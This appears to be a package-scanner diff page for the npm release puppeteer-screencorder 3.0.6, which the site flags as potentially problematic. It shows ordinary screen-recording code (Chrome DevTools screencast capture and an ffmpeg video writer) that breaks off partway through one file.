puppeteer-screencorder 3.0.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of puppeteer-screencorder might be problematic. Click here for more details.

@@ -0,0 +1,136 @@
1
+ import { EventEmitter } from 'events';
2
+ /**
3
+ * @ignore
4
+ */
5
+ export class pageVideoStreamCollector extends EventEmitter {
6
+ page;
7
+ options;
8
+ sessionsStack = [];
9
+ isStreamingEnded = false;
10
+ isFrameAckReceived;
11
+ constructor(page, options) {
12
+ super();
13
+ this.page = page;
14
+ this.options = options;
15
+ }
16
+ get shouldFollowPopupWindow() {
17
+ return this.options.followNewTab;
18
+ }
19
+ async getPageSession(page) {
20
+ try {
21
+ const context = page.target();
22
+ return await context.createCDPSession();
23
+ }
24
+ catch (error) {
25
+ console.log('Failed to create CDP Session', error);
26
+ return null;
27
+ }
28
+ }
29
+ getCurrentSession() {
30
+ return this.sessionsStack[this.sessionsStack.length - 1];
31
+ }
32
+ addListenerOnTabOpens(page) {
33
+ page.on('popup', (newPage) => this.registerTabListener(newPage));
34
+ }
35
+ removeListenerOnTabClose(page) {
36
+ page.off('popup', (newPage) => this.registerTabListener(newPage));
37
+ }
38
+ async registerTabListener(newPage) {
39
+ await this.startSession(newPage);
40
+ newPage.once('close', async () => await this.endSession());
41
+ }
42
+ async startScreenCast(shouldDeleteSessionOnFailure = false) {
43
+ const currentSession = this.getCurrentSession();
44
+ const quality = Number.isNaN(this.options.quality)
45
+ ? 100
46
+ : Math.max(Math.min(this.options.quality, 100), 0);
47
+ try {
48
+ await currentSession.send('Animation.setPlaybackRate', {
49
+ playbackRate: 1,
50
+ });
51
+ await currentSession.send('Page.startScreencast', {
52
+ everyNthFrame: 1,
53
+ format: this.options.format || 'jpeg',
54
+ quality: quality,
55
+ });
56
+ }
57
+ catch (e) {
58
+ if (shouldDeleteSessionOnFailure) {
59
+ this.endSession();
60
+ }
61
+ }
62
+ }
63
+ async stopScreenCast() {
64
+ const currentSession = this.getCurrentSession();
65
+ if (!currentSession) {
66
+ return;
67
+ }
68
+ await currentSession.send('Page.stopScreencast');
69
+ }
70
+ async startSession(page) {
71
+ const pageSession = await this.getPageSession(page);
72
+ if (!pageSession) {
73
+ return;
74
+ }
75
+ await this.stopScreenCast();
76
+ this.sessionsStack.push(pageSession);
77
+ this.handleScreenCastFrame(pageSession);
78
+ await this.startScreenCast(true);
79
+ }
80
+ async handleScreenCastFrame(session) {
81
+ this.isFrameAckReceived = new Promise((resolve) => {
82
+ session.on('Page.screencastFrame', async ({ metadata, data, sessionId }) => {
83
+ if (!metadata.timestamp || this.isStreamingEnded) {
84
+ return resolve();
85
+ }
86
+ const ackPromise = session.send('Page.screencastFrameAck', {
87
+ sessionId: sessionId,
88
+ });
89
+ this.emit('pageScreenFrame', {
90
+ blob: Buffer.from(data, 'base64'),
91
+ timestamp: metadata.timestamp,
92
+ });
93
+ try {
94
+ await ackPromise;
95
+ }
96
+ catch (error) {
97
+ console.error('Error in sending Acknowledgment for PageScreenCast', error.message);
98
+ }
99
+ });
100
+ });
101
+ }
102
+ async endSession() {
103
+ this.sessionsStack.pop();
104
+ await this.startScreenCast();
105
+ }
106
+ async start() {
107
+ await this.startSession(this.page);
108
+ this.page.once('close', async () => await this.endSession());
109
+ if (this.shouldFollowPopupWindow) {
110
+ this.addListenerOnTabOpens(this.page);
111
+ }
112
+ }
113
+ async stop() {
114
+ if (this.isStreamingEnded) {
115
+ return this.isStreamingEnded;
116
+ }
117
+ if (this.shouldFollowPopupWindow) {
118
+ this.removeListenerOnTabClose(this.page);
119
+ }
120
+ await Promise.race([
121
+ this.isFrameAckReceived,
122
+ new Promise((resolve) => setTimeout(resolve, 1000)),
123
+ ]);
124
+ this.isStreamingEnded = true;
125
+ try {
126
+ for (const currentSession of this.sessionsStack) {
127
+ await currentSession.detach();
128
+ }
129
+ }
130
+ catch (e) {
131
+ console.warn('Error detaching session', e.message);
132
+ }
133
+ return true;
134
+ }
135
+ }
136
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoicGFnZVZpZGVvU3RyZWFtQ29sbGVjdG9yLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vc3JjL2xpYi9wYWdlVmlkZW9TdHJlYW1Db2xsZWN0b3IudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUEsT0FBTyxFQUFFLFlBQVksRUFBRSxNQUFNLFFBQVEsQ0FBQztBQU10Qzs7R0FFRztBQUNILE1BQU0sT0FBTyx3QkFBeUIsU0FBUSxZQUFZO0lBQ2hELElBQUksQ0FBTztJQUNYLE9BQU8sQ0FBaUM7SUFDeEMsYUFBYSxHQUFrQixFQUFFLENBQUM7SUFDbEMsZ0JBQWdCLEdBQUcsS0FBSyxDQUFDO0lBRXpCLGtCQUFrQixDQUFnQjtJQUUxQyxZQUFZLElBQVUsRUFBRSxPQUF1QztRQUM3RCxLQUFLLEVBQUUsQ0FBQztRQUNSLElBQUksQ0FBQyxJQUFJLEdBQUcsSUFBSSxDQUFDO1FBQ2pCLElBQUksQ0FBQyxPQUFPLEdBQUcsT0FBTyxDQUFDO0lBQ3pCLENBQUM7SUFFRCxJQUFZLHVCQUF1QjtRQUNqQyxPQUFPLElBQUksQ0FBQyxPQUFPLENBQUMsWUFBWSxDQUFDO0lBQ25DLENBQUM7SUFFTyxLQUFLLENBQUMsY0FBYyxDQUFDLElBQVU7UUFDckMsSUFBSTtZQUNGLE1BQU0sT0FBTyxHQUFHLElBQUksQ0FBQyxNQUFNLEVBQUUsQ0FBQztZQUM5QixPQUFPLE1BQU0sT0FBTyxDQUFDLGdCQUFnQixFQUFFLENBQUM7U0FDekM7UUFBQyxPQUFPLEtBQUssRUFBRTtZQUNkLE9BQU8sQ0FBQyxHQUFHLENBQUMsOEJBQThCLEVBQUUsS0FBSyxDQUFDLENBQUM7WUFDbkQsT0FBTyxJQUFJLENBQUM7U0FDYjtJQUNILENBQUM7SUFFTyxpQkFBaUI7UUFDdkIsT0FBTyxJQUFJLENBQUMsYUFBYSxDQUFDLElBQUksQ0FBQyxhQUFhLENBQUMsTUFBTSxHQUFHLENBQUMsQ0FBQyxDQUFDO0lBQzNELENBQUM7SUFFTyxxQkFBcUIsQ0FBQyxJQUFV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
@@ -0,0 +1,147 @@
1
+ /// <reference types="node" />
2
+ /**
3
+ * @ignore
4
+ * @enum VIDEO_WRITE_STATUS
5
+ */
6
+ export declare enum VIDEO_WRITE_STATUS {
7
+ 'NOT_STARTED' = 0,
8
+ 'IN_PROGRESS' = 1,
9
+ 'COMPLETED' = 2,
10
+ 'ERROR' = 3
11
+ }
12
+ /**
13
+ * @ignore
14
+ * @type PageScreen
15
+ */
16
+ export type pageScreenFrame = {
17
+ readonly blob: Buffer;
18
+ readonly timestamp: number;
19
+ readonly duration?: number;
20
+ };
21
+ export type PuppeteerScreenRecorderOptions = {
22
+ /**
23
+ * @name followNewTab
24
+ * @member PuppeteerScreenRecorderOptions
25
+ * @description Boolean value which is indicate whether to follow the tab or not. Default value is true.
26
+ * @default true
27
+ * */
28
+ readonly followNewTab: boolean;
29
+ /**
30
+ * @name fps
31
+ * @member PuppeteerScreenRecorderOptions
32
+ * @description Numeric value which denotes no.of Frames per second in which the video should be recorded. default value is 25.
33
+ * @default 25
34
+ */
35
+ readonly fps?: number;
36
+ /**
37
+ * @name quality
38
+ * @member PuppeteerScreenRecorderOptions
39
+ * @description Numeric value which denotes no.of quality of individual frame captured by chrome. Value accepted 0 - 100. 100 denotes the highest quality and 0 denotes the lowest quality
40
+ * @default 100
41
+ */
42
+ readonly quality?: number;
43
+ /**
44
+ * @name format
45
+ * @member PuppeteerScreenRecorderOptions
46
+ * @description specify the format for recording the video
47
+ * @default jpeg
48
+ */
49
+ readonly format?: 'jpeg' | 'png';
50
+ /**
51
+ * @name ffmpeg_Path
52
+ * @member PuppeteerScreenRecorderOptions
53
+ * @description String value pointing to the installation of FFMPEG. Default is null (Automatically install the FFMPEG and use it).
54
+ * @default null
55
+ */
56
+ readonly ffmpeg_Path?: string | null;
57
+ /**
58
+ * @name videoFrame
59
+ * @member PuppeteerScreenRecorderOptions
60
+ * @description An object which specifies the width and height of the output video frame.
61
+ * Note: VideoFrame option is not applicable for capturing the video.
62
+ */
63
+ readonly videoFrame?: {
64
+ width: number | null;
65
+ height: number | null;
66
+ };
67
+ /**
68
+ * @name aspectRatio
69
+ * @member PuppeteerScreenRecorderOptions
70
+ * @description Specify the aspect ratio of the video. Default value is 4:3.
71
+ * @default 4:3
72
+ */
73
+ readonly aspectRatio?: '3:2' | '4:3' | '16:9';
74
+ /**
75
+ * @name videoCodec
76
+ * @member PuppeteerScreenRecorderOptions
77
+ * @description Specify the codec used by FFMPEG when creating the final video file. The default value is libx264.
78
+ */
79
+ readonly videoCodec?: string;
80
+ /**
81
+ * @name videoBitrate
82
+ * @member PuppeteerScreenRecorderOptions
83
+ * @description Specify the target bitrate of the final video file in bits/s. The default value is 1000.
84
+ */
85
+ readonly videoBitrate?: number;
86
+ /**
87
+ * @name videoCrf
88
+ * @member PuppeteerScreenRecorderOptions
89
+ * @description Specify the crf of the final video file. The default value is 23.
90
+ */
91
+ readonly videoCrf?: number;
92
+ /**
93
+ * @name videoPreset
94
+ * @member PuppeteerScreenRecorderOptions
95
+ * @description Specify the preset to use when encoding the video file. The default value is 'ultrafast'.
96
+ */
97
+ readonly videoPreset?: string;
98
+ /**
99
+ * @name videoPixelFormat
100
+ * @member PuppeteerScreenRecorderOptions
101
+ * @description Specify the pixel format to use when encoding the video file. The default value is 'yuv420p'.
102
+ */
103
+ readonly videoPixelFormat?: string;
104
+ /**
105
+ * @name videOutputOptions
106
+ * @member PuppeteerScreenRecorderOptions
107
+ * @description Allows you to pass additional options to the ffmpeg encoder -
108
+ * @example you might want to pass "-movflags +faststart"
109
+ */
110
+ readonly videOutputOptions?: string[];
111
+ /**
112
+ * @name autopad
113
+ * @member PuppeteerScreenRecorderOptions
114
+ * @description Specify whether autopad option is used and its color. Default to autopad deactivation mode.
115
+ */
116
+ readonly autopad?: {
117
+ color?: string;
118
+ };
119
+ /**
120
+ * @name recordDurationLimit
121
+ * @member PuppeteerScreenRecorderOptions
122
+ * @description Numerical value specify duration (in seconds) to record the video. By default video is recorded till stop method is invoked`. (Note: It's mandatory to invoke Stop() method even if this value is set)
123
+ */
124
+ readonly recordDurationLimit?: number;
125
+ /**
126
+ * @name metadata
127
+ * @member PuppeteerScreenRecorderOptions
128
+ * @description Specify metadata information as key value pairs.
129
+ */
130
+ readonly metadata?: string[];
131
+ };
132
+ /** @ignore */
133
+ export type VideoOptions = Omit<PuppeteerScreenRecorderOptions, 'followNewTab'>;
134
+ /**
135
+ * @description supported video format for recording.
136
+ * @example
137
+ * recording.start('./video.mp4');
138
+ * recording.start('./video.mov');
139
+ * recording.start('./video.webm');
140
+ * recording.start('./video.avi');
141
+ */
142
+ export declare enum SupportedFileFormats {
143
+ MP4 = "mp4",
144
+ MOV = "mov",
145
+ AVI = "avi",
146
+ WEBM = "webm"
147
+ }
@@ -0,0 +1,27 @@
1
+ /**
2
+ * @ignore
3
+ * @enum VIDEO_WRITE_STATUS
4
+ */
5
+ export var VIDEO_WRITE_STATUS;
6
+ (function (VIDEO_WRITE_STATUS) {
7
+ VIDEO_WRITE_STATUS[VIDEO_WRITE_STATUS["NOT_STARTED"] = 0] = "NOT_STARTED";
8
+ VIDEO_WRITE_STATUS[VIDEO_WRITE_STATUS["IN_PROGRESS"] = 1] = "IN_PROGRESS";
9
+ VIDEO_WRITE_STATUS[VIDEO_WRITE_STATUS["COMPLETED"] = 2] = "COMPLETED";
10
+ VIDEO_WRITE_STATUS[VIDEO_WRITE_STATUS["ERROR"] = 3] = "ERROR";
11
+ })(VIDEO_WRITE_STATUS || (VIDEO_WRITE_STATUS = {}));
12
+ /**
13
+ * @description supported video format for recording.
14
+ * @example
15
+ * recording.start('./video.mp4');
16
+ * recording.start('./video.mov');
17
+ * recording.start('./video.webm');
18
+ * recording.start('./video.avi');
19
+ */
20
+ export var SupportedFileFormats;
21
+ (function (SupportedFileFormats) {
22
+ SupportedFileFormats["MP4"] = "mp4";
23
+ SupportedFileFormats["MOV"] = "mov";
24
+ SupportedFileFormats["AVI"] = "avi";
25
+ SupportedFileFormats["WEBM"] = "webm";
26
+ })(SupportedFileFormats || (SupportedFileFormats = {}));
27
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoicGFnZVZpZGVvU3RyZWFtVHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIuLi8uLi8uLi9zcmMvbGliL3BhZ2VWaWRlb1N0cmVhbVR5cGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBOzs7R0FHRztBQUNILE1BQU0sQ0FBTixJQUFZLGtCQUtYO0FBTEQsV0FBWSxrQkFBa0I7SUFDNUIseUVBQWEsQ0FBQTtJQUNiLHlFQUFhLENBQUE7SUFDYixxRUFBVyxDQUFBO0lBQ1gsNkRBQU8sQ0FBQTtBQUNULENBQUMsRUFMVyxrQkFBa0IsS0FBbEIsa0JBQWtCLFFBSzdCO0FBOElEOzs7Ozs7O0dBT0c7QUFDSCxNQUFNLENBQU4sSUFBWSxvQkFLWDtBQUxELFdBQVksb0JBQW9CO0lBQzlCLG1DQUFXLENBQUE7SUFDWCxtQ0FBVyxDQUFBO0lBQ1gsbUNBQVcsQ0FBQTtJQUNYLHFDQUFhLENBQUE7QUFDZixDQUFDLEVBTFcsb0JBQW9CLEtBQXBCLG9CQUFvQixRQUsvQiJ9
@@ -0,0 +1,40 @@
1
+ /// <reference types="node" />
2
+ /// <reference types="node" />
3
+ /// <reference types="node" />
4
+ import { EventEmitter } from 'events';
5
+ import { Writable } from 'stream';
6
+ import { pageScreenFrame, VideoOptions } from './pageVideoStreamTypes';
7
+ /**
8
+ * @ignore
9
+ */
10
+ export default class PageVideoStreamWriter extends EventEmitter {
11
+ private readonly screenLimit;
12
+ private screenCastFrames;
13
+ duration: string;
14
+ frameGain: number;
15
+ frameLoss: number;
16
+ private status;
17
+ private options;
18
+ private videoMediatorStream;
19
+ private writerPromise;
20
+ constructor(destinationSource: string | Writable, options?: VideoOptions);
21
+ private get videoFrameSize();
22
+ private get autopad();
23
+ private getFfmpegPath;
24
+ private getDestinationPathExtension;
25
+ private configureFFmPegPath;
26
+ private isWritableStream;
27
+ private configureVideoFile;
28
+ private configureVideoWritableStream;
29
+ private getOutputOption;
30
+ private addVideoMetadata;
31
+ private getDestinationStream;
32
+ private handleWriteStreamError;
33
+ private findSlot;
34
+ insert(frame: pageScreenFrame): void;
35
+ private trimFrame;
36
+ private processFrameBeforeWrite;
37
+ write(data: Buffer, durationSeconds?: number): void;
38
+ private drainFrames;
39
+ stop(stoppedTime?: number): Promise<boolean>;
40
+ }
@@ -0,0 +1,276 @@
1
+ import { EventEmitter } from 'events';
2
+ import os from 'os';
3
+ import { extname } from 'path';
4
+ import { PassThrough, Writable } from 'stream';
5
+ import ffmpeg, { setFfmpegPath } from 'fluent-ffmpeg';
6
+ import { SupportedFileFormats, VIDEO_WRITE_STATUS, } from './pageVideoStreamTypes';
7
+ /**
8
+ * @ignore
9
+ */
10
+ const SUPPORTED_FILE_FORMATS = [
11
+ SupportedFileFormats.MP4,
12
+ SupportedFileFormats.AVI,
13
+ SupportedFileFormats.MOV,
14
+ SupportedFileFormats.WEBM,
15
+ ];
16
+ /**
17
+ * @ignore
18
+ */
19
+ export default class PageVideoStreamWriter extends EventEmitter {
20
+ screenLimit = 10;
21
+ screenCastFrames = [];
22
+ duration = '00:00:00:00';
23
+ frameGain = 0;
24
+ frameLoss = 0;
25
+ status = VIDEO_WRITE_STATUS.NOT_STARTED;
26
+ options;
27
+ videoMediatorStream = new PassThrough();
28
+ writerPromise;
29
+ constructor(destinationSource, options) {
30
+ super();
31
+ if (options) {
32
+ this.options = options;
33
+ }
34
+ const isWritable = this.isWritableStream(destinationSource);
35
+ this.configureFFmPegPath();
36
+ if (isWritable) {
37
+ this.configureVideoWritableStream(destinationSource);
38
+ }
39
+ else {
40
+ this.configureVideoFile(destinationSource);
41
+ }
42
+ }
43
+ get videoFrameSize() {
44
+ const { width, height } = this.options.videoFrame;
45
+ return width !== null && height !== null ? `${width}x${height}` : '100%';
46
+ }
47
+ get autopad() {
48
+ const autopad = this.options.autopad;
49
+ return !autopad
50
+ ? { activation: false }
51
+ : { activation: true, color: autopad.color };
52
+ }
53
+ getFfmpegPath() {
54
+ if (this.options.ffmpeg_Path) {
55
+ return this.options.ffmpeg_Path;
56
+ }
57
+ try {
58
+ // eslint-disable-next-line @typescript-eslint/no-var-requires
59
+ const ffmpeg = require('@ffmpeg-installer/ffmpeg');
60
+ if (ffmpeg.path) {
61
+ return ffmpeg.path;
62
+ }
63
+ return null;
64
+ }
65
+ catch (e) {
66
+ return null;
67
+ }
68
+ }
69
+ getDestinationPathExtension(destinationFile) {
70
+ const fileExtension = extname(destinationFile);
71
+ return fileExtension.includes('.')
72
+ ? fileExtension.replace('.', '')
73
+ : fileExtension;
74
+ }
75
+ configureFFmPegPath() {
76
+ const ffmpegPath = this.getFfmpegPath();
77
+ if (!ffmpegPath) {
78
+ throw new Error('FFmpeg path is missing, \n Set the FFMPEG_PATH env variable');
79
+ }
80
+ setFfmpegPath(ffmpegPath);
81
+ }
82
+ isWritableStream(destinationSource) {
83
+ if (destinationSource && typeof destinationSource !== 'string') {
84
+ if (!(destinationSource instanceof Writable) ||
85
+ !('writable' in destinationSource) ||
86
+ !destinationSource.writable) {
87
+ throw new Error('Output should be a writable stream');
88
+ }
89
+ return true;
90
+ }
91
+ return false;
92
+ }
93
+ configureVideoFile(destinationPath) {
94
+ const fileExt = this.getDestinationPathExtension(destinationPath);
95
+ if (!SUPPORTED_FILE_FORMATS.includes(fileExt)) {
96
+ throw new Error('File format is not supported');
97
+ }
98
+ this.writerPromise = new Promise((resolve) => {
99
+ const outputStream = this.getDestinationStream();
100
+ outputStream
101
+ .on('error', (e) => {
102
+ this.handleWriteStreamError(e.message);
103
+ resolve(false);
104
+ })
105
+ .on('stderr', (e) => {
106
+ this.handleWriteStreamError(e);
107
+ resolve(false);
108
+ })
109
+ .on('end', () => resolve(true))
110
+ .save(destinationPath);
111
+ if (fileExt == SupportedFileFormats.WEBM) {
112
+ outputStream
113
+ .videoCodec('libvpx')
114
+ .videoBitrate(this.options.videoBitrate || 1000, true)
115
+ .outputOptions('-flags', '+global_header', '-psnr');
116
+ }
117
+ });
118
+ }
119
+ configureVideoWritableStream(writableStream) {
120
+ this.writerPromise = new Promise((resolve) => {
121
+ const outputStream = this.getDestinationStream();
122
+ outputStream
123
+ .on('error', (e) => {
124
+ writableStream.emit('error', e);
125
+ resolve(false);
126
+ })
127
+ .on('stderr', (e) => {
128
+ writableStream.emit('error', { message: e });
129
+ resolve(false);
130
+ })
131
+ .on('end', () => {
132
+ writableStream.end();
133
+ resolve(true);
134
+ });
135
+ outputStream.toFormat('mp4');
136
+ outputStream.addOutputOptions('-movflags +frag_keyframe+separate_moof+omit_tfhd_offset+empty_moov');
137
+ outputStream.pipe(writableStream);
138
+ });
139
+ }
140
+ getOutputOption() {
141
+ const cpu = Math.max(1, os.cpus().length - 1);
142
+ const videoOutputOptions = this.options.videOutputOptions ?? [];
143
+ const outputOptions = [];
144
+ outputOptions.push(`-crf ${this.options.videoCrf ?? 23}`);
145
+ outputOptions.push(`-preset ${this.options.videoPreset || 'ultrafast'}`);
146
+ outputOptions.push(`-pix_fmt ${this.options.videoPixelFormat || 'yuv420p'}`);
147
+ outputOptions.push(`-minrate ${this.options.videoBitrate || 1000}`);
148
+ outputOptions.push(`-maxrate ${this.options.videoBitrate || 1000}`);
149
+ outputOptions.push('-framerate 1');
150
+ outputOptions.push(`-threads ${cpu}`);
151
+ outputOptions.push(`-loglevel error`);
152
+ videoOutputOptions.forEach((options) => {
153
+ outputOptions.push(options);
154
+ });
155
+ return outputOptions;
156
+ }
157
+ addVideoMetadata(outputStream) {
158
+ const metadataOptions = this.options.metadata ?? [];
159
+ for (const metadata of metadataOptions) {
160
+ outputStream.outputOptions('-metadata', metadata);
161
+ }
162
+ }
163
+ getDestinationStream() {
164
+ const outputStream = ffmpeg({
165
+ source: this.videoMediatorStream,
166
+ priority: 20,
167
+ })
168
+ .videoCodec(this.options.videoCodec || 'libx264')
169
+ .size(this.videoFrameSize)
170
+ .aspect(this.options.aspectRatio || '4:3')
171
+ .autopad(this.autopad.activation, this.autopad?.color)
172
+ .inputFormat('image2pipe')
173
+ .inputFPS(this.options.fps)
174
+ .outputOptions(this.getOutputOption())
175
+ .on('progress', (progressDetails) => {
176
+ this.duration = progressDetails.timemark;
177
+ });
178
+ this.addVideoMetadata(outputStream);
179
+ if (this.options.recordDurationLimit) {
180
+ outputStream.duration(this.options.recordDurationLimit);
181
+ }
182
+ return outputStream;
183
+ }
184
+ handleWriteStreamError(errorMessage) {
185
+ this.emit('videoStreamWriterError', errorMessage);
186
+ if (this.status !== VIDEO_WRITE_STATUS.IN_PROGRESS &&
187
+ errorMessage.includes('pipe:0: End of file')) {
188
+ return;
189
+ }
190
